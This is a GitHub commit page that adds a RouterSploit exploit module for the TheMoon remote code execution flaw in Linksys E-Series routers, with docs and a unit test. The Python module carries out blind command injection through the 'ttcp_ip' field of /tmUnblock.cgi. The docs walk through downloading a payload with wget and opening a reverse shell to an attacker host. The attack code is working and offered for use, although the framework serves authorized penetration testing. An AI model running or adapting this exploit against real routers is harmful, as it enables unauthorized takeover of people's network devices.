Skip to content

Commit

Permalink
Linksys E-Series TheMoon RCE (threat9#500)
Browse files Browse the repository at this point in the history
* Module: Linksys E-Series TheMoon RCE

* Fixing lint issue
  • Loading branch information
lucyoa authored Oct 14, 2018
1 parent 43074f4 commit 3dde668
Show file tree
Hide file tree
Showing 3 changed files with 166 additions and 0 deletions.
60 changes: 60 additions & 0 deletions docs/modules/exploits/routers/linksys/eseries_themoon_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
## Description

This module exploits remote code execution vulnerability in multiple Linksys E-Series devices.
Vulnerability was actively used by TheMoon worm.

## Verification Steps

1. Start `./rsf.py`
2. Do: `use exploits/routers/linksys/eseries_themoon_rce`
3. Do `uset target [TargetIP]`
4. Do `run`
5. If router is vulnerable, it should be possible to execute commands on operating system level.

6. Do `set payload reverse_tcp`
7. Do `set lhost [AttackerIP]`
8. Do `run`
9. Payload is sent to device and executed providing attacker with the command shell.

## Scenarios

```
rsf > use exploits/routers/linksys/eseries_themoon_rce
rsf (Linksys E-Series TheMoon RCE) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Linksys E-Series TheMoon RCE) > run
[*] Running module...
[+] Target appears to be vulnerable
[+] Welcome to cmd. Commands are sent to the target via the execute method.
[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.
cmd > show payloads
[*] Available payloads:
Payload Name Description
------- ---- -----------
bind_tcp MIPSBE Bind TCP Creates interactive tcp bind shell for MIPSBE architecture.
reverse_tcp MIPSBE Reverse TCP Creates interactive tcp reverse shell for MIPSBE architecture.
cmd > set payload reverse_tcp
cmd (MIPSBE Reverse TCP) > show options
Payload Options:
Name Current settings Description
---- ---------------- -----------
lhost Connect-back IP address
lport 5555 Connect-back TCP Port
cmd (MIPSBE Reverse TCP) > set lhost 192.168.1.4
lhost => 192.168.1.4
cmd (MIPSBE Reverse TCP) > run
[*] Using wget method
[*] Using wget to download binary
[*] Executing payload on the device
[*] Waiting for reverse shell...
[*] Connection from 192.168.1.1:41933
[+] Enjoy your shell
```
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient


class Exploit(HTTPClient):
__info__ = {
"name": "Linksys E-Series TheMoon RCE",
"description": "Module exploits remote code execution vulnerability in multiple Linksys E-Series "
"devices. Vulnerability was actively used by TheMoon Worm.",
"authors": (
"Johannes Ullrich", # worm discovery
"Rew", # original exploit
"infodox", # another exploit
"Michael Messner <devnull[at]s3cur1ty.de>", # metasploit module
"juan vazquez", # minor help with msf module
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"references": (
"https://www.exploit-db.com/exploits/31683/",
"https://www.securityfocus.com/bid/65585",
"https://packetstormsecurity.com/files/125253",
"https://packetstormsecurity.com/files/125252",
"https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633",
"https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630",
),
"devices": (
"Linksys E900",
"Linksys E1000",
"Linksys E1200",
"Linksys E1500",
"Linksys E1550",
"Linksys E2000",
"Linksys E2100L",
"Linksys E2500",
"Linksys E3000",
"Linksys E3200",
"Linksys E4200",
)
}

target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")

arch = OptString("mipsle", "Target architecture: mipsbe, mipsle")

def run(self):
if self.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available")
if self.arch == "mipsbe":
shell(self, architecture="mipsbe", method="wget", location="/tmp")
elif self.arch == "mipsle":
shell(self, architecture="mipsle", method="wget", location="/tmp")
else:
print_error("Target is not vulnerable")

def execute(self, cmd):
cmd = "-h `{}`".format(cmd)
data = {
"submit_button": "",
"change_action": "",
"action": "",
"commit": "0",
"ttcp_num": "2",
"ttcp_size": "2",
"ttcp_ip": cmd,
"StartEPI": "1",
}

self.http_request(
method="POST",
path="/tmUnblock.cgi",
data=data,
)

return ""

@mute
def check(self):
response = self.http_request(
method="GET",
path="/tmUnblock.cgi",
)

if response and response.status_code in [200, 301, 302]:
return True # target is vulnerable

return False # target is not vulnerable
17 changes: 17 additions & 0 deletions tests/exploits/routers/linksys/test_eseries_themoon_rce.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
from unittest import mock
from routersploit.modules.exploits.routers.linksys.eseries_themoon_rce import Exploit


@mock.patch("routersploit.modules.exploits.routers.linksys.eseries_themoon_rce.shell")
def test_check_success(mocked_shell, target):
""" Test scenario - successful check """

route_mock = target.get_route_mock("/tmUnblock.cgi", methods=["GET", "POST"])
route_mock.return_value = ""

exploit = Exploit()
exploit.target = target.host
exploit.port = target.port

assert exploit.check()
assert exploit.run() is None

0 comments on commit 3dde668

Please sign in to comment.